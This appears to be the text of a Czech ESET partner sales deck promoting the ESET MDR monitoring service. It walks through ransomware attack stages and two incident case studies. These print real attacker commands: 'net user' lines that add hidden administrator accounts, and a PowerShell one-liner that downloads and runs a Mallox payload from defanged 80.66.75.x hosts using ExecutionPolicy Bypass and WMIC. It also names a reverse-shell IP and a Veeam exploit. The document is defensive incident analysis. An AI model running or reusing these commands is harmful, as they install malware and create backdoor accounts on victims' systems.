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Servery, desktopy a mobilní 
zařízení zákazníků chráněné 
systémy ESET

ESET Cloud Office Security 
zabezpečující prostředí         
MS 365 a Google Workspace

Vlastní ESET honeypoty
lákající útočníky rozmístěné
po celém světě

Automatizovaná analýza 
desítek botnetů technologií            
ESET Botnet Tracker

Třetí strana – VirusTotal, výměna 
vzorků s jinými vendory, 
spolupráce s Big Tech a policií

Globální vyhledávání a analýzy celých útoků 





Tradiční ransomware

Proniknutí do zranitelného 
zařízení

Analýza napadeného zařízení 
a celé sítě

Stažení často legitimních 
nástrojů a skriptů

Eskalace oprávnění, získání 
přihlašovacích údajů

Přesun na další zařízení v 
síti, cílem jsou servery

Nalezení a extrakce 
důležitých souborů

Zašifrování serverů 
včetně veškerých záloh

Žádost o zaplacení 
výkupného



Tradiční ransomware

Proniknutí do zranitelného 
zařízení

Analýza napadeného zařízení 
a celé sítě

Stažení často legitimních 
nástrojů a skriptů

Eskalace oprávnění, 
získání přihlašovacích 
údajů

Přesun na další zařízení v 
síti, cílem jsou servery

Nalezení a extrakce 
důležitých souborů

Zašifrování serverů 
včetně veškerých záloh

Žádost o zaplacení 
výkupného



Oběti přestali platit

Množství úspěšných ransomwarových útoků se výrazně snížilo 
a pokud již byly zdařilé, data se podařilo obnovit ze záloh

• Lepší detekční technologie, zálohování 

• Princip nejnižších privilegií

• Segmentace sítě

• Dvoufaktorové ověřování

• Cloudový sandboxing

• Důslednější záplatování

• Data uložena na serverech / v cloudu



Oběti přestali platit

Nutnost vyřadit zálohy a zašifrovat veškerá data na serverech



To nelze udělat automaticky – „pouze“ malwarem



<

Současnost
Doba manuálně
prováděných útoků



Analýza systému, 
uživatelů, sítě

Stažení malwaru, 
utilit a skriptů

Proniknutí do 
zařízení

Získání legitimních 
přihlašovacích údajů

Infiltrace dalších 
zařízení

Exfiltrace 
citlivých dat

Zničení záloh, 
zašifrování dat

Žádost o platbu 
výkupného

Moderní vyděračské útoky



Analýza systému, 
uživatelů, sítě

Stažení malwaru, 
utilit a skriptů

Proniknutí do 
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Vydírané společnosti

Manuální útoky se nevyhýbají ani 
menším společnostem v Česku. 
Některé oběti mají pouze vyšší 
desítky zaměstnanců. 

Přesto je útočníci napadli, zcizili 
data a vydírají.



Obětí těchto útoků jsou v 82 % SMB

Gartner



Průměrná škoda v desítkách milionů Kč

Gartner



Jak se účinně 

bránit?



Nutnost odhalení nových hrozeb

Primárně zneužívání legitimních
utilit, skriptů a výchozího 
softwarového vybavení operačních 
systémů při manuálních útocích



ESET Inspect umožňuje odhalení manuálních útoků, 
jejich investigaci a eliminaci na základě detekce 
potenciálně rizikových anomálií

• V rámci aplikací 3. stran

• Zneužitím funkcí operačních systémů

• Problematického chování uživatelů

• Síťového provozu

Využitím EDR (XDR) systému



Časově náročné 
na obsluhu

Nutnost 
know-how

Vyšší pořizovací 
náklady

Relativně složitá 
technologie

Velké množství 
upozornění

Odvrácená strana 
EDR (XDR) nefunguje automaticky



Máme kvalitní bezpečnostní technologie 
schopné nás ochránit? 

Máme někoho, kdo při útoku infiltraci 
prověří a včas neutralizuje hrozbu?



91 %
Využívá nebo plánuje využívat 

služby outsourcingu

68 %
Preferuje služby výrobce      
bezpečnostních produktů

87 %
Požaduje nepřetržitý 
monitoring 24/7/365

90 %
Upřednostňuje dohled s             

reakcí na hrozby

Průzkum trhu | bezpečnostní monitoring



Jak může ESET pomoct?



Unikátními bezpečnostními produkty
pro automatizovanou detekci 
malwaru a odhalování manuálních 
útoků a MDR službou monitoringu -
kombinaci umělé inteligence, 
odborných znalostí a rychlé reakce 
bez nutnosti mít vlastní bezpečnostní 
specialisty prošetřující incidenty

Anti-malware Cloud sandboxing EDR (XDR)

NAS protectionFirewall Hyper-V scanner Email protection

Cloud protection



Outsourcing chybějících bezpečnostních specialistů

Nejvyspělejší 
bezpečnostní 
technologie

Přední odborníci 
na kybernetické 
útoky

Eliminace i těch 
nejpokročilejších 
útoků

Monitoring 24/7      
s dobou reakce     
do 1 minuty

ESET MDR | služba kybernetického dohledu



THREAT 
INTELLIGENCE

Zpracovávání informací o útocích z celého světa

Vyhledávání výjimečného malwaru & celých útoků

Detailní analýza pokročilých hrozeb, sledování APT skupin

Zákazník

SIEM | SOAR | ESET ML/AI

Automatické zpracování 
dat & důležité aktualizace

Okamžité zpracování a přesné vyhodnocení 

24/7 SOC provádějící 
monitoring a analýzu 

Nepřetržitý monitoring a vyhodnocování 
potenciálních hrozeb s využitím technologií 
ESET ML/AI a SIEM

E-mailové notifikace
GUI konzole s detaily 

Týdenní/měsíční přehledy

Architektura 
ESET MDR

Rychlá reakce a 
neutralizace hrozby

Rychlá reakce na vzniklé incidenty pomocí 
řešení SOAR

Upozornění zákazníků pomocí notifikací

Reporting stavů incidentů pro zákazníka



Rychlost detekce & reakce

Bez MDR/SOC týmu

Interní SOC tým

ESET MDR

277 dní

16 hodin

20 minut (95 % incidentů)

20000x
rychlejší

než bez MDR / 
vlastního SOCu

48x 
rychlejší

ve srovnání s 
vlastním SOCem

Až 3x 
rychlejší

ve srovnání s jinými 
MDR službami



ESET MDR | statistiky

1 000+
Platících zákazníků

180 000+
Chráněných zařízení

645+
Zablokovaných útoků

Aktuální interní data 
(posledních 30 dní)

• Průměrný čas první reakce: 46 vteřin
• Počet ESET specialistů v SOCu: 90+
• Největší úspěch: blokace vyspělé skupiny FIN7
• Stát s nejvíce novými zákazníky: Itálie

Veřejné reference

• Canon (Japonsko), 23 000 zaměstnanců
• Royal Swinkels (Nizozemsko), 2 350 zaměstnanců
• Borussia Dortmund (Německo), 650 zaměstnanců

• Využíváno desítkami subjektů v ČR



Z deníku kybernetických obránců



FOR PARTNERS

Za oponou kyberútoku

Management 
Agent



FOR PARTNERS

%ProgramFiles%\c2Update\MeshAgent.exe

%ProgramData%\notepad.exe -fullinstall

C:\> net user /add system1 3@5yPa55

C:\> net localgroup administrators system1 /add

C:\> net user /add system 3@5yPa55

C:\> net localgroup administrators system /add

C:\> net user /add sys 3@5yPa55

C:\> net localgroup administrators sys /add

Za oponou kyberútoku | zneužitý Management Agent



FOR PARTNERS

91[.]92.246.183:443

Administrátor System1 začal provádět více činností                                       
přes reverse shell z 91[.]92.246.183:443 (AV, EDR)

Stáhnutí EXE %ProgramData%\consoleapp1.exe (EDR)

Detekováno pomocí ESET RTS jako MSIL/Exploit.CVE-2023-27532.A (AV)

Zranitelnost ve Veeam Backup and Replication umožňující krádež přihlašovacích 
údajů ze zálohovacího softwaru

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS

Za oponou kyberútoku | zneužitý Management Agent



FOR PARTNERS

ESET MDR tým zareagoval

• MeshAgent a další spustitelné soubory byly zablokovány

• Kompromitované zařízení bylo izolováno

• Vytvořen incident s popisem a odeslán zákazníkovi

• IP adresa přidána na globální ESET blacklist

• Klientovi poskytnuta základní dodatečná doporučení

Uživatelé ke smazání:

sys, system, system1

IP adresa k zablokování na perimetrových firewallech:

91[.]92.246.183

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS

Za oponou kyberútoku | zneužitý Management Agent



FOR PARTNERS

Za oponou kyberútoku

MS SQL
SQL



FOR PARTNERS

Za oponou kyberútoku | kompromitace MS SQL

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

• Opakující se detekce EsetIpBlacklist.A/B na cílovém portu 1433 (AV)

• Detekce anomálií souvisejících s neobvyklými příkazy SQL Serveru (EDR)



FOR PARTNERS

Za oponou kyberútoku | kompromitace MS SQL

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object System.Net.WebClient>C:?\ProgramData\\updt.ps1 & 
echo $cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> C:?\ProgramData\\updt.ps1

Administrator: C:\\Windows\system32\cmd.exe

Rozbor příkazů:

powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1

Administrator: C:\\Windows\system32\cmd.exe

WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

>> $cl = New-Object System.Net.WebClient
>> $cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat")

Administrator: Windows PowerShell

Vytvoření PowerShell skriptu „updt.ps1“ pro ztížení automatizované detekce AV

Skript „updt.ps1“ obsahující pokus o zastřené stažení payloadu malwaru 

Obejití bezpečnostní politiky MS pro zabezpečené spouštění skriptů

Skrytí zdroje útoku (přerušení stromu procesů)

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS



FOR PARTNERS

Za oponou kyberútoku | kompromitace MS SQL

Incident actions

Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS

ESET MDR tým zareagoval

• Napadený server izolován

• Vytvořen incident s popisem a odeslán zákazníkovi

• Zabráněno ransomwarovému útoku Mallox

• Klientovi poskytnuta základní dodatečná doporučení

Změna hesel všech uživatelů MS SQL Serveru

Uzavřít port 1433 pro přístup z internetu

"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl 
= New-Object System.Net.WebClient > 
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo 
$cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> 
%TEMP%\\updt.ps1 & powershell -ExecutionPolicy 
Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 
& WMIC process call create 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""

/C echo $cl = New-Object System.Net.WebClient 
>%TEMP%\updt.ps1 & echo 
$cl.DownloadFile("hXXp://80[.]66.75]]]].40/XXXXX
XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.ps1 
& powershell -ExecutionPolicy Bypass 
%TEMP%\updt.ps1 & WMIC process call create 
"%TEMP%\XXXXXXXX.exe"

%SYSTEM%\cmd.exe ”C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, ”C:?\ProgramData\\tzt.bat”) >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create ”C:?\ProgramData\\tzt.bat”

Administrator: C:\\Windows\system32\cmd.exe



FOR PARTNERS

Za oponou kyberútoku | atribuce RaaS Mallox

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl 
= New-Object System.Net.WebClient > 
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo 
$cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> 
%TEMP%\\updt.ps1 & powershell -ExecutionPolicy 
Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 
& WMIC process call create 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""

/C echo $cl = New-Object System.Net.WebClient 
>%TEMP%\updt.ps1 & echo 
$cl.DownloadFile("hXXp://80[.]66.75]]]].40/XXXXX
XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.ps1 
& powershell -ExecutionPolicy Bypass 
%TEMP%\updt.ps1 & WMIC process call create 
"%TEMP%\XXXXXXXX.exe"



FOR PARTNERS

Za oponou kyberútoku | atribuce RaaS Mallox

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

/C echo $cl = New-Object System.Net.WebClient 
>%TEMP%\updt.ps1 & echo 
$cl.DownloadFile("hXXp://80[.]66.75]]]].40/XXXXX
XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.ps1 
& powershell -ExecutionPolicy Bypass 
%TEMP%\updt.ps1 & WMIC process call create 
"%TEMP%\XXXXXXXX.exe"

"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl 
= New-Object System.Net.WebClient > 
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo 
$cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> 
%TEMP%\\updt.ps1 & powershell -ExecutionPolicy 
Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 
& WMIC process call create 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""

hxxp://80.66.75[.]36

hxxp://80.66.75[.]47

hXXp://80[.]66.75]]]].40



FOR PARTNERS

Za oponou kyberútoku | atribuce RaaS Mallox

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

/C echo $cl = New-Object System.Net.WebClient 
>%TEMP%\updt.ps1 & echo 
$cl.DownloadFile("hXXp://80[.]66.75]]]].40/XXXXX
XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.ps1 
& powershell -ExecutionPolicy Bypass 
%TEMP%\updt.ps1 & WMIC process call create 
"%TEMP%\XXXXXXXX.exe"

"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl 
= New-Object System.Net.WebClient > 
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo 
$cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> 
%TEMP%\\updt.ps1 & powershell -ExecutionPolicy 
Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 
& WMIC process call create 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""tzt.exe

tzt.bat



FOR PARTNERS

Za oponou kyberútoku | atribuce RaaS Mallox

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

/C echo $cl = New-Object System.Net.WebClient 
>%TEMP%\updt.ps1 & echo 
$cl.DownloadFile("hXXp://80[.]66.75]]]].40/XXXXX
XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.ps1 
& powershell -ExecutionPolicy Bypass 
%TEMP%\updt.ps1 & WMIC process call create 
"%TEMP%\XXXXXXXX.exe"

"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl 
= New-Object System.Net.WebClient > 
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo 
$cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> 
%TEMP%\\updt.ps1 & powershell -ExecutionPolicy 
Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 
& WMIC process call create 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""
WMIC process call create

WMIC process call create

WMIC process call create



FOR PARTNERS

Za oponou kyberútoku | atribuce RaaS Mallox

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

/C echo $cl = New-Object System.Net.WebClient 
>%TEMP%\updt.ps1 & echo 
$cl.DownloadFile("hXXp://80[.]66.75]]]].40/XXXXX
XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.ps1 
& powershell -ExecutionPolicy Bypass 
%TEMP%\updt.ps1 & WMIC process call create 
"%TEMP%\XXXXXXXX.exe"

"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl 
= New-Object System.Net.WebClient > 
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo 
$cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> 
%TEMP%\\updt.ps1 & powershell -ExecutionPolicy 
Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 
& WMIC process call create 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""

/C echo $cl

/C echo $cl

/C echo $cl



FOR PARTNERS

Za oponou kyberútoku | atribuce RaaS Mallox

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object 
System.Net.WebClient>C:?\ProgramData\\updt.ps1 & echo 
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> 
C:?\ProgramData\\updt.ps1 & powershell –ExecutionPolicy Bypass C:?\ProgramData\\updt.ps1 & 
WMIC process call create "C:?\ProgramData\\tzt.bat"

Administrator: C:\\Windows\system32\cmd.exe

/C echo $cl = New-Object System.Net.WebClient 
>%TEMP%\updt.ps1 & echo 
$cl.DownloadFile("hXXp://80[.]66.75]]]].40/XXXXX
XXXX.exe", "%TEMP%\xxxx.exe") >> %TEMP%\updt.ps1 
& powershell -ExecutionPolicy Bypass 
%TEMP%\updt.ps1 & WMIC process call create 
"%TEMP%\XXXXXXXX.exe"

"\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl 
= New-Object System.Net.WebClient > 
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo 
$cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> 
%TEMP%\\updt.ps1 & powershell -ExecutionPolicy 
Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 
& WMIC process call create 
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""

%TEMP%\\updt.ps1

\ProgramData\\updt.ps1 

%TEMP%\updt.ps1



FOR PARTNERS

Za oponou kyberútoku | atribuce RaaS Mallox

Operátor Mallox - Ransomware as a Service

• Tvůrci ransomwaru

• Aktivní od roku 2021

• Také známí pod názvy TargetCompany nebo Fargo

• Ruskojazyčná skupina

• Silné šifrovací algoritmy

• Zákaz útočení na nemocnice a vzdělávací instituce

• Vybírají si pouze ruskojazyčné partnery

• Nabízí až 80% podíl z výkupného partnerům



Reálná ukázka





























Zprovoznění ESET MDR služby

Nákup Okamžitý monitoring



Měsíc na vyzkoušení



FOR PARTNERS



Klíčové vlastnosti
ESET MDR

MDR
25 - 600

MDR Ultimate
500 - 4000

MxDR
> 2000

24/7 monitoring, analýza a automatizovaná reakce

Lidská interpretace bezpečnostních incidentů

Poskytnutí základních doporučení klientovi

Možnost zákazníka doptat se na detaily incidentu

Plá visibilita v rámci GUI ESET & vlastní reporty

Dedikovaní specialisté pro okamžitou konzultaci

Práce s historickými daty včetně logů 3. stran

Detailní analýza malwaru týmem viruslabu

Podpora on-premise instance ESET PROTECT/Inspect

24/7 analýza bezpečnostních logů z řešení 3. stran



Klíčové vlastnosti
ESET MDR

MDR
25 - 600

MDR Ultimate
500 - 4000

MxDR
> 2000

24/7 monitoring, analýza a automatizovaná reakce

Lidská interpretace bezpečnostních incidentů

Poskytnutí základních doporučení klientovi

Možnost zákazníka doptat se na detaily incidentu

Plá visibilita v rámci GUI ESET & vlastní reporty

Dedikovaní specialisté pro okamžitou konzultaci

Práce s historickými daty včetně logů 3. stran

Detailní analýza malwaru týmem viruslabu

Podpora on-premise instance ESET PROTECT/Inspect

24/7 analýza bezpečnostních logů z řešení 3. stran



Mezinárodní certifikace & reporty



Evropská organizace pro 
kybernetickou bezpečnost (ESCO) 
označila ESET jako „Strong Performer“ 
a „European Leader“ ve své matici 
řešení MDR Cyberhive Matrix.

Evropské ocenění
ESET MDR



„Pokud jste zaneprázdněný tým a hledáte 
zcela bezúdržbový přístup s partnerem, 
kterému můžete skutečně důvěřovat, ESET je 
tou správnou volbou. Služba 24x7x365, 
kterou nám ESET poskytuje, by byla 
nedostupná i pro klub Premier League, jako 
je ten náš – náklady na zřízení SOC a SIEM 
jsou astronomické, nemluvě o výzvě, kterou 
představuje zajištění personálu po celý den.“

Stefan du Plooy
Vedoucí IT oddělení
AFC Bournemouth



Firemní data krádež

Fungování společnosti ransomware

Pomoc v případě potřeby specialisté ESET

Soulad s legislativou NIS2, GDPR, DORA

Úspora nákladů řešení formou služby

Klidné spaní dohled 24/7

ochráněno

zajištěno

zaručeno

potvrzeno

garantováno

posíleno

Chybějící bezpečnostní specialisté. Nastoupeni.



od 38 000 Kč ročně
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